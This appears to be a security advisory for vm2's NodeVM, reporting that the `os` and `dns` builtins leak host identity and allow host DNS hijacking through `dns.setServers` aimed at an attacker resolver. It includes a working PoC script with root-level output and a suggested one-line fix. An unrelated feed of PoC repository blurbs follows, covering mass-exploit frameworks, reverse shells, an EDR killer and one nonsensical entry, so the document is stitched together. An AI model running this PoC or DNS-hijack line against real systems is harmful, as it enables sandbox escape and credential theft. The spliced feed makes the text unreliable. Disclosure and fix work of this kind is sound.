# NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f) **CWE**: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) — same class the maintainer codified as Defense Invariant #13 in `lib/builtin.js` and as Category 35 / GHSA-9g8x in `docs/ATTACKS.md`. **CVSS v3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L` → 9.3 (Critical) (Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because `os.userInfo()` returns host UID/GID/username/homedir + `os.networkInterfaces()` returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because `dns.setServers()` is a process-wide write that hijacks every subsequent DNS lookup the host makes — including outbound HTTP, telemetry, npm/registry, and any host code that uses `fetch` or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model `NodeVM` exists to mitigate.) ## Summary GHSA-9g8x-92q2-p28f closed the "process-wide observability builtins" class by adding `diagnostics_channel`, `async_hooks`, `perf_hooks`, and `v8` to `DANGEROUS_BUILTINS` in `lib/builtin.js`. The fix's rationale (in the commit message and `docs/ATTACKS.md` Category 35) is general: > Process-wide observability builtins. Unlike most Node builtins, these expose state of the *entire host process* rather than sandbox-local state — the vm2 boundary cannot usefully contain them because the data they surface […] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive. Two builtins satisfying the same description were not added: **`os`** and **`dns`**. Both are reachable today under the documented `builtin: ['*']` configuration; both expose host-process state that the `vm.readonly()` proxy cannot localise; and both have *write* APIs that mutate global host-process state from the sandbox (`os.setPriority()`, `dns.setServers()`, `dns.setDefaultResultOrder()`). `dns.setServers()` in particular turns sandbox code into a process-wide DNS hijack primitive — strictly worse than every read-only leak that GHSA-9g8x added. Adding `os` and `dns` to `DANGEROUS_BUILTINS` extends the same fix to the rest of the class. The existing `isDangerousBuiltin(key)` family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches `node:os`, `node:dns`, and `node:dns/promises` once the family names are present. ## Affected - vm2 `v3.11.5` (current `package.json` version on `main`) and the unreleased `[3.11.4]` slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al. - All NodeVM configurations that expand the builtin allowlist via `'*'` (the documented "full builtins" pattern) and have not manually appended `-os`, `-dns` exclusions — which is the recommended config in README and the test fixtures. - Reproduced on Node v22.12.0 with HEAD `7a1f510` of the audit checkout. ## Vulnerability details ### [A] — Source: the `'*'` wildcard expansion includes `os` and `dns` `lib/builtin.js:166-167`: ```js const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives'))) .filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)); ``` `isDangerousBuiltin` resolves the current `DANGEROUS_BUILTINS` set (`lib/builtin.js:83-139`): ```js const DANGEROUS_BUILTINS = new Set([ 'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process', 'trace_events', 'wasi', // GHSA-9g8x-92q2-p28f: 'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8' ]); ``` `os` and `dns` are absent. Under `builtin: ['*']` they are admitted into the user-visible builtin map and loaded via the default `vm.readonly(hostRequire(key))` path (`lib/builtin.js:230`): ```js builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key))); ``` The readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing — same observation the GHSA-9g8x commit message makes for `v8`/`perf_hooks`. ### [B] — `os`: host-process READS the bridge cannot localise `os.userInfo()` returns the host process owner (uid, gid, username, homedir, shell). `os.networkInterfaces()` returns the host's full network topology including container/VM interfaces with their IPs and MAC addresses. `os.hostname()` returns the host deployment identity. `os.loadavg()` / `os.uptime()` / `os.freemem()` / `os.totalmem()` expose host-wide telemetry. The data source is the host kernel and the host process — the sandbox's `vm.readonly()` proxy cannot make these calls "sandbox-local" any more than it can for `perf_hooks.performance.getEntriesByType('mark')`. Same class as the four builtins GHSA-9g8x added. ### [C] — `os`: host-process WRITE via `os.setPriority()` `os.setPriority([pid, ]priority)` invokes `setpriority(2)` on the host process. With `pid = 0` (the default) the sandbox lowers — or, if the host has CAP_SYS_NICE, raises — the priority of the host process. Effect persists after the sandbox call returns; the host has no notification. Strictly worse than the read-only `v8` / `perf_hooks` family because it's a *mutation* of host state, not just an observation. ### [D] — `dns`: host-process READS `dns.lookup(hostname, cb)` and `dns.resolve(hostname, cb)` perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host's source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor. `dns.getServers()` reveals the host's configured DNS servers — useful for fingerprinting which hosting provider / cloud network the embedder is deployed on. ### [E] — `dns`: host-process WRITE via `dns.setServers()` — the strongest primitive `dns.setServers(['attacker.example:53'])` replaces the host's process-wide DNS resolver list. Every subsequent DNS lookup the host process performs — its own outbound HTTP, telemetry, npm registry, fetch() calls, `fs` URL paths, any host code that resolves a hostname — goes through the attacker's resolver. The attacker can: - Return `127.0.0.1` for any external hostname and steal whatever the host POSTs to it (credentials, tokens). - Return an attacker-controlled IP for `registry.npmjs.org` to swap dependencies on the next install. - Return arbitrary IPs for OIDC issuer hostnames to subvert authentication. - Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability. The attacker primitive is *one synchronous line of sandbox code*. There is no rate limit, no audit trail, no notification to the embedder. Symmetric `dns.setDefaultResultOrder(order)` is a second process-wide write knob that lets the sandbox flip `'ipv4first'` ↔ `'verbatim'`, mainly useful as a chaining helper. `dns/promises` also exists as a subpath and shares the same module surface; adding `dns` to `DANGEROUS_BUILTINS` automatically catches `dns/promises` via the existing `isDangerousBuiltin` family-prefix matcher. ## Proof of concept `test-poc.js` (run from the vm2 checkout root): ```js const {NodeVM} = require('./'); // --- [B] / [C] — os reads + write --- { const vm = new NodeVM({ require: { external: true, builtin: ['*'] } }); const r = vm.run(` const os = require('os'); const before = os.getPriority(); os.setPriority(10); // mutates host process nice value module.exports = { userInfo: os.userInfo(), // uid/gid/username/homedir/shell of host hostname: os.hostname(), networkInterfaces: Object.keys(os.networkInterfaces()), uptime: os.uptime(), priorityBefore: before, priorityAfter: os.getPriority() }; `, 'os.js'); console.log(JSON.stringify(r, null, 2)); // Independently verify the host process now reports the bumped priority: console.log('host getPriority() =', require('os').getPriority()); } // --- [E] — dns.setServers hijack --- { const dnsHost = require('dns'); console.log('host DNS before:', dnsHost.getServers()); const vm = new NodeVM({ require: { external: true, builtin: ['*'] } }); vm.run(` require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']); `, 'dns.js'); console.log('host DNS after:', dnsHost.getServers()); // Every subsequent dns.lookup() in the host process now hits the attacker. } ``` Observed output on Node v22.12.0 against HEAD `7a1f510`: ``` { "userInfo": { "uid": 0, "gid": 0, "username": "root", "homedir": "/root", "shell": "/bin/bash" }, "hostname": "Debian-trixie-latest-amd64-base", "networkInterfaces": [ "lo", "enp3s0", "br-06cf1b47c8e0", "podman2", "vethd3955b5", ..., "veth3" ], "uptime": 6093038.92, "priorityBefore": 0, "priorityAfter": 10 } host getPriority() = 10 ← host realm sees the sandbox write host DNS before: [ '185.12.64.2', '2a01:4ff:ff00::add:1', '185.12.64.1', '2a01:4ff:ff00::add:2' ] host DNS after: [ '127.0.0.1:5353', '8.8.4.4' ] ← hijacked ``` Both the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the `vm.run()` call returns — confirming the writes persisted past the bridge boundary. ## Impact ### Direct - **Host identity disclosure (`os`)** — sandbox reads the host process owner's username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern — webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes. - **Network topology disclosure (`os.networkInterfaces`)** — sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment's internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants. - **Process-wide DNS hijack (`dns.setServers`)** — sandbox replaces the host's DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker's resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch. - **Process priority mutation (`os.setPriority`)** — sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes. ### Indirect / second-order - **Composes with `dgram` / `http` / `fetch` whitelisting** — embedders who grant the sandbox network access via the `external` flag or a documented `-os, -dns` cutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the *host*, so even host-realm outbound HTTP gets redirected. - **Composes with future host-realm-string introductions** — if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox's hijacked DNS resolver decides where the host eventually connects. - **Defeats GHSA-9g8x's own threat model** — the GHSA-9g8x commit message states the goal is to close the "process-wide observability" class. Leaving `os` and `dns` open leaves the class half-closed; the read-side leak path that the commit enumerates for `diagnostics_channel` ("attacker reads host HTTP requests through a subscriber") composes with `dns.setServers` to *also* redirect those requests. - **Same fix is forward-compatible with future Node releases** — adding `os` and `dns` to `DANGEROUS_BUILTINS` does not require enumerating every future Node API; the family-prefix matcher (`isDangerousBuiltin`) already covers any new `os/...` or `dns/...` subpath Node introduces. ## Suggested fix Single-line extension of `DANGEROUS_BUILTINS` in `lib/builtin.js:83-139`, alongside the four GHSA-9g8x additions, with the same `// SECURITY (GHSA-...)` block comment style and rationale: ```js const DANGEROUS_BUILTINS = new Set([ 'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process', 'trace_events', 'wasi', 'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8', // SECURITY (this advisory): Process-wide observability + WRITE builtins. // `os.userInfo()` / `os.networkInterfaces()` leak host process identity and // network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`, // `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives // that mutate host-process state from the sandbox — `dns.setServers()` is a // process-wide DNS resolver hijack reachable in one line of sandbox code. // Embedders who genuinely need a sandbox-local replacement can register a // controlled wrapper under the same name via `mock` / `override`. 'os', 'dns' ]); ``` The existing `isDangerousBuiltin(key)` family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to `node:os`, `node:dns`, and `node:dns/promises` without further changes. Embedders who genuinely need a sandbox-local `os`/`dns` (typically `os.platform()`, `os.EOL`, `os.constants`) can register a hand-written safe wrapper under those names via `mock` / `override`, mirroring the escape hatch documented for the GHSA-9g8x denials. Tests should mirror the `test/ghsa/GHSA-9g8x-92q2-p28f/repro.js` shape: bare-name + `node:`-prefixed denial on `require()`, `'*'` wildcard expansion exclusion, explicit-allowlist (`builtin: ['os']`, `builtin: ['dns']`) rejection, `makeBuiltins(['os'])` rejection, `mock` / `override` escape-hatch acceptance. `docs/ATTACKS.md` Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass — either matches the existing documentation pattern.
PoC: YellowKey-BitLocker-CVE-2026-45585
YellowKey BitLocker recovery - bitlocker yellowkey, yellowkey bitlocker, CVE-2026-45585, yellowkey github, yellowkey vulnerability, yellowkey CVE, TPM, BitLocker recovery key backup, Windows 10/11, CLI GUI, portable audit tool. Download:🡇
PoC: Keycloak_CVE-2026-18963_PoC
This repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...).
PoC: CVE-2026-18963-keycloak
CVE-2026-18963
PoC: pixel-ksu-root
adb-driven KernelSU loader for stock Google Pixel: temporary kernel R/W via CVE-2026-43499 (GhostLock), then late-loads a signature-matched kernelsu.ko for the running KMI. Manager-agnostic.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: CVE-2026-72898
Metabase SQLi
PoC: CVE-2026-19478
GitLab Code injection
PoC: CVE-2026-75604
CVE-2026-75604 (Next.js Windows RCE) PoC - unauthenticated RCE via cache path traversal + forged Server Action; for authorized security testing
PoC: CVE-2026-19632
CVE-2026-19632 - TranslatePress One-Day PoC
PoC: CVE-2026-56705
CVE-2026-56705 - Adminer < 5.4.3 unauthenticated RCE via MSSQL PDO DSN injection (ODBC TraceFile arbitrary file write). PoC, Docker lab and negative test included.
PoC: CVE-2026-75604-poc
CVE-2026-75604 Next.js Windows RCE poc
PoC: CVE-2026-4692-trust-me-im-in-rdm
Firefox BrowsingContext field-sync authz bypass (N-day, bug 2017643): forged PContent::CommitBrowsingContextTransaction sets InRDMPane=true from a compromised content process - parent applies it. Prerequisite primitive for privileged-UI touch-event injection.
PoC: CVE-2022-28906-POC
CVE-2022-28906 Proof of concept in Python3
PoC: CVE-2026-41551
ROS# 路径遍历漏洞(CVE-2026-41551)
PoC: cve-2022-42475-poc
Proof of Concept (PoC) for research and controlled laboratory validation of CVE-2022-42475, a critical heap-based buffer overflow vulnerability affecting the SSL-VPN service in certain versions of FortiOS.
PoC: CVE-2026-15469
CVE-2026-15469 — Hard-coded RSA-512 mesh group private key in TP-Link Deco XE75/XE5300/WE10800 (CWE-321). Advisory, analysis & PoC methodology (EN/KO).
PoC: CVE-2026-32475-PoC
PoC for CVE-2026-32475: Elementor Pro <=4.2.1 unauthenticated file upload to RCE. Stdlib-only Python.
PoC: CVE-2026-12295-UXXS-in-my-wasm
Firefox content->parent srcdoc forge (N-day, bug 2040160): forged PDocumentChannel with SrcdocData on a non-about:srcdoc URI -> attacker HTML served at victim origin (UXSS), via mojo-port send-path injection from a compromised content process
PoC: CVE-2026-24061-payload
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
PoC: Project-CVE-2026-33017
CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
PoC: CVE-2026-70463
Testing CVE-2026-70463 by Fyyre
PoC: 2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report
Post-incident report analyzing the Oracle Cloud SSO/LDAP supply chain attack (CVE-2021-35587). Details the exploitation of legacy server infrastructure, impact across 140,000+ cloud tenants, root-cause findings, and phased mitigation strategies.
PoC: CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Interlock ransomware. Details root-cause analysis, lateral movement tactics, and emergency containment strategies.
PoC: ghostlock-pfem10
GhostLock (CVE-2026-43499 / IonStack) research for OPPO Find X5 Pro (PFEM10): exploit chain, progress, blocker log, and OPPO 5-series kernel notes
PoC: htb-labs-connected
Hack The Box Connected machine write-up featuring enumeration, CVE-2025-57819 exploitation, reverse shell, and privilege escalation to root via FreePBX and incron.
PoC: spring-ai-sibling-loop-poc
Minimal reproduction for Spring AI ParagraphManager sibling self-loop OOM (incomplete fix of CVE-2026-47851)
PoC: mssharepoint-scanner
A scanner for CVE-2026-55040 and CVE-2026-63520, designed to determine whether the server is affected by these two CVEs.
PoC: weblogic
Oracle WebLogic Console unauthenticated auth bypass + RCE exploit (CVE-2020-14882 / CVE-2020-14750)
PoC: CVE-2021-27876-veritas-backup
Metasploit module: Veritas Backup Exec Agent SHA-auth NDMP remote code execution (CVE-2021-27876/27877/27878)
PoC: rmg-s9180-fzg1
Root My Galaxy SM-S9180 (dm3q) S9180ZHS8FZG1 payload port - CVE-2026-43499 + KernelSU LKM
PoC: hacktivity-vulns-exploits-lab
Writeup + CVE analysis + countermeasures for the Hacktivity 'Vulnerabilities, Exploits, and Remote Access Payloads' lab (netcat shells, Metasploit, CVE-2010-1240, CVE-2004-2687).
PoC: CVE-2026-55040-Mass-Exploit
CVE-2026-55040
PoC: Project-CVE-2026-75604
A Python-based exploitation framework for CVE-2026-75604 that enables authorized penetration testers to validate Next.js Windows cache traversal vulnerabilities. Deploys reverse shells and webshells via path traversal, with built-in target verification and proxy support for seamless integration into standard pentest workflows.
PoC: CVE-2026-18963
CVE-2026-18963 Keycloak Reset-Credentials State Bypass Detector
PoC: CVE-2015-3246
CVE-2015-3246
PoC: CVE-2015-5287
CVE-2015-5287
PoC: htb-labs-nexus
Hack The Box Nexus machine write-up covering reconnaissance, Gitea credential discovery, Krayin CRM exploitation via CVE-2026-38526, initial access, and privilege escalation through a vulnerable Gitea template synchronization service.
PoC: Cisco-CVE-2026-20303-More
CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313
PoC: CVE-Ubiquiti
CVE-2026-77542, CVE-2026-77543, CVE-2026-77545, CVE-2026-77550, CVE-2026-77551, CVE-2026-77552, CVE-2026-77553, CVE-2026-77554, CVE-2026-77557 - Draft or TODO
PoC: CVE-2026-18431
CVE-2026-18431 - Draft or TODO
PoC: CVE-2026-8467
CVE-2026-8467 - Draft or TODO
PoC: CVE-2026-50787
Security advisory for CVE-2026-50787: uncontrolled resource consumption in e-SIC Livre CAPTCHA generation leading to remote denial of service.
PoC: solarview-ics-vulnerability-analysis
Threat model and vulnerability analysis of Contec SolarView Compact (CVE-2022-29303)
PoC: CVE-2026-72898-metabase-sqli
Detector + root-cause analysis for CVE-2026-72898 (Metabase unauthenticated SQLi via reset_password)
PoC: By-Poloss..-..CVE-2026-18080
Poc CVE-2026-18080
PoC: CVE-2026-63520
POC pre-auth RCE on Sharepoint chain
PoC: f_hid-4.14-backports
Backports of three published f_hid fixes (incl. CVE-2026-31721, CVE-2026-31606) to an EOL Linux 4.14.190 Android vendor kernel, with on-device verification records.
PoC: chrome-vuln-scanner
Check for CVE-2026-79266. A use-after-free in the DevTools component allows arbitrary code execution inside the sandbox via a malicious Chrome extension leveraging social engineering.
PoC: CVE-2026-19912-CVE-2026-19913-CVE-2026-19914
CVE-2026-19912, CVE-2026-19913, CVE-2026-19914
PoC: CVE-2026-19632-POC
PoC for CVE-2026-19632 - TranslatePress – Multilingual <= 3.3.1 - Unauthenticated Account Takeover via Password Reset Link Disclosure
PoC: ghostlock-infinix-hot70
Proof-of-concept kernel exploit for GhostLock (CVE-2026-43499) on the Infinix Hot 70.
PoC: CVE-2025-2945-pgAdmin-RCE
PoC for CVE-2025-2945 — pgAdmin 4 authenticated eval() injection RCE, CVSS 9.9
PoC: CVE-2026-63072
CVE-2026-63072
PoC: CVE-2026-76904
PostGIS SQL Injection GeoTools
PoC: CVE-2014-085
ZooKeeper 未授权访问漏洞(CVE-2014-085)PoC 及靶场
PoC: hdwebmobile-photo-video-reviews
WooCommerce plugin: photo & video product reviews, closing CVE-2026-12684's unauthenticated-upload vulnerability class by construction
PoC: Exploit-CVE-2026-56705
CVE-2026-56705 — Adminer < 5.4.3 Unauthenticated RCE via MSSQL PDO DSN Injection
PoC: CVE-2026-73570
Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc)
PoC: vivo-root-build
vivo/iQOO 提权 so 编译(CVE-2026-43499)
PoC: CVE-2026-72530-TrueConf-Sandbox-Escape-
Este repositorio contiene una demostración educativa de la mitigación y detección para **CVE-2026-72530**, una vulnerabilidad crítica de **Code Injection y Sandbox Escape** en TrueConf Server.
PoC: CVE-2021-41773-Exploit
CVE-2021-41773 Apache HTTP Server 2.4.49 Path Traversal to RCE Exploit
PoC: cve-2026-60004
CVE-2026-60004 es una vulnerabilidad crítica (CVSS 9.8) en Gitea que permite ejecución remota de código sin autenticación mediante el endpoint `/api/v1/repos/{owner}/{repo}/diffpatch`.
PoC: CVE-2026-68820_Mass_Exploit
CVE-2026-68820 — Mass Exploit Framework Edition.
PoC: CVE-2026-58073-check
Safely detect Veeam Service Provider Console auth bypass CVE-2026-58073
PoC: CVE-2026-18963
Nuclei template to discover Keycloak reset-credentials endpoints related to CVE-2026-18963 exposure validation.
PoC: CVE-2020-1472
CVE-2020-1472
PoC: CVE-2026-32635-Angular-XSS-Mitigation-
Demostracion educativa de mitigacion y deteccion de CVE-2026-32635: XSS en atributos i18n de Angular.
PoC: CVE-2018-16763_fuel_cms_exploit
A fuel CMS exploit based on Python for RCE mentioned in CVE-2018-16763.
PoC: CVE-2026-26211
Public disclosure for CVE-2026-26211, a stored XSS vulnerability affecting Ekushey Project Manager CRM v5.0.
PoC: keycloak-CVE-2026-18963
PoC, Dockerfile playground and root cause from patch diff analysis.
PoC: CVE-2026-17532-lab
CVE-2026-17532 Docker Lab.
PoC: Wildfire
CVE-2026-39154, Stored XSS in CometChat JS SDK
PoC: Trespasser
CVE-2026-74970, Fission site isolation bypass in Firefox WebRender
PoC: Palimpsest
CVE-2026-74945, Uninitialized heap disclosure via a crafted web font (sec-high)
PoC: SkeletonKey
CVE-2026-6765, Test only FormAutofill handlers exposed in Firefox
PoC: Revenant
CVE-2026-74943, Use after free in Firefox RasterImage (sec-high)
PoC: CVE-2026-73570
PoC for CVE-2026-73570 (Zimbra SMTP Command Injection)
PoC: EDRKiller
Use cve-2026-36425 killer edr,360 can killer
PoC: RootMyVivo
One-click root for vivo/iQOO devices on locked bootloader | CVE-2026-43499 + KernelSU
PoC: Exploit-For-CVE-2026-18963
Exploit for CVE-2026-18963 by BlackHatExploitation
PoC: gha-lab-aaaaa1cc3e
GitHub Actions workflow sandbox for CVE-2025-67727 reproduction
PoC: gha-lab-f1c8785cc8
GitHub Actions workflow sandbox for CVE-2025-46820 reproduction
PoC: CVE-2026-16348
TP-Link Archer BE800 V1 — VPN Key Injection RCE
PoC: CVE-2026-77806
CVE-2026-77806漏洞检测代码
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
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